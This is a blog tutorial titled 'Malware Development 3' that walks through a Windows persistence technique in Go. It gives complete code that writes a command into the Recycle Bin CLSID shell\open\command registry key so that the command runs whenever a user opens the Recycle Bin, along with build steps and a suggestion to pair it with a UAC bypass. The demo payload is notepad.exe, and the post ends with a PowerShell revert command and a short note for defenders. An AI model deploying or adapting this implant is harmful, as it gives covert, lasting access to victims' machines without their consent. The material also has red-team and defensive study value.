Malware Development 3 - Persistence via Recycle Bin (Golang)
Today we’re gonna see an effective technique to mantain access in Windows systems during red team operations just by modifying a registry key...
On This Page
Introduction
Today we’re gonna see an effective technique to mantain access in Windows systems during red team operations just by modifying a registry key which interacts with the Recycle Bin. I don’t know if any APT group uses this technique but I read about it in a vxunderground paper (see here) and I thought it may be interesting to try in Golang so let’s see how it works.
Explanation
In Windows there are some folders which have have uniques CLSID values like the ones for the “Recycle Bin” {645ff040-5081-101b-9f08-00aa002f954e} or the “My Documents” {450d8fba-ad25-11d0-98a8-0800361b1103}
All of this may sound familiar to you if you’ve ever tried the fodhelper.exe UAC bypass in which the registry HKCU is modified to execute commands as administrator without any confirmation.
Code
First of all we must import the necessary packages. In this case we’ll use the official Golang package to interact with registry keys
package main
import (
"fmt"
"log"
"golang.org/x/sys/windows/registry"
)
Explanation of the Given Code
This code is written in the Go programming language. Let's break it down step by step.
1. Package Declaration
package main
Every Go program starts with a package declaration. The main
package is used for executable programs, and it tells the Go compiler that this is an executable program rather than a shared library.
2. Import Statements
import (
"fmt"
"log"
"golang.org/x/sys/windows/registry"
)
The import
keyword is used to include external packages in our program. In this case, we are importing three packages: fmt
, log
, and golang.org/x/sys/windows/registry
.
- The
fmt
package provides functions for formatting and printing output. - The
log
package provides functions for logging messages. - The
golang.org/x/sys/windows/registry
package provides functions for interacting with the Windows registry.
We have to open the CLSID registry key
...
bin_key, err := registry.OpenKey(
registry.LOCAL_MACHINE,
"SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
registry.WRITE, // Permissions
)
if err != nil {
fmt.Println("OpenKey error!")
log.Fatal(err)
}
defer bin_key.Close()
...
-
This section of code attempts to open a specific key in the Windows registry.
registry.OpenKey
is a function that takes three arguments:
registry.LOCAL_MACHINE
: This specifies the part of the registry we are accessing (the local machine's registry)."SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell"
: This is the path to the specific registry key we want to open. It is formatted as a string and uses double backslashes (\\
) to escape the backslash character.registry.WRITE
: This specifies the permissions we want to have on the key. In this case, we want to write to it.
After attempting to open the registry key, we check if there was an error
- if err != nil: This condition checks if an error occurred (i.e., if err is not nil).
- If there is an error, it prints an error message and logs the error using log.Fatal(err), which also terminates the program.
Closing the Registry Key
defer bin_key.Close()
defer
is a keyword that schedules theClose
method to be called when the surrounding function (not shown here) exits.- This ensures that the opened registry key is properly closed to free resources, even if an error occurs later in the code.
Then we create the new registry where our malicious commands will be
...
k, _, err := registry.CreateKey(
bin_key,
"open\\command",
registry.ALL_ACCESS,
)
if err != nil {
fmt.Println("CreateKey error!")
log.Fatal(err)
}
...
-
This section of code creates a new registry key.
registry.CreateKey
is a function that takes three arguments:
bin_key
: This is the parent key we opened earlier. The new key will be created under this key."open\\command"
: This is the name of the new registry subkey we want to create. It is formatted as a string and uses double backslashes (\) to escape the backslash character.registry.ALL_ACCESS
: This specifies the permissions for the new key. In this case, it grants all possible access rights.
And finally we set the value, in our case it’s a simple notepad but you could be creative to combine it with other things like UAC bypass and more
...
err = k.SetStringValue("", "notepad.exe")
if err != nil {
log.Fatal(err)
}
...
Let’s add more output and the final code should be something like this:
package main
/*
Author: Waseem Akram
Blog post: https://hackerwasii.com/blogposts/malware-development-3-persistence-via-recycle-bin-golang
*/
import (
"fmt"
"log"
"golang.org/x/sys/windows/registry"
)
func main(){
// Open registry key
fmt.Println("Opening registry key...")
bin_key, err := registry.OpenKey(
registry.LOCAL_MACHINE,
"SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
registry.WRITE,
)
if err != nil { // Handle error
fmt.Println("OpenKey error!")
log.Fatal(err)
}
// Close key
defer bin_key.Close()
// Create new key
fmt.Println("Creating new key...")
k, _, err := registry.CreateKey(
bin_key,
"open\\command",
registry.ALL_ACCESS,
)
if err != nil { // Handle error
fmt.Println("CreateKey error!")
log.Fatal(err)
}
// Set value
fmt.Println("Setting notepad.exe as our payload...")
err = k.SetStringValue("", "notepad.exe")
if err != nil { // Handle error
fmt.Println("SetStringValue error!")
log.Fatal(err)
}
fmt.Println("Process completed!")
}
Now we compile our payload and transfer it to our Windows testing machine
GOOS=windows GOARCH=amd64 go build -o recyclebin.exe main.go
I haven’t read anywhere if this operation can be done without administrator privileges but testing in my Windows it always returned “Access denied”
Be careful with your payload because testing with cmd.exe and notepad, I created an infinite loop and I had to restart my PC
As you can see after clicking the recycle bin icon a notepad.exe appears
Now if we search the parent process id (PPID) of the notepad.exe we see that it’s executed under explorer.exe process
To revert our modifications you can simply execute this powershell command Remove-Item -Path "HKLM:\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" -Recurse -Force
and it should work for you
References
https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf
https://blog.amartinsec.com/posts/recyclebin/
Conclusion
This persistence technique can be useful for red teamers as it’s stealthy and everyone use the recycle bin to delete files so the payload would be executed whenever a user access to it. But the registry key can be monitored to prevent this so blue teamers should have this technique in mind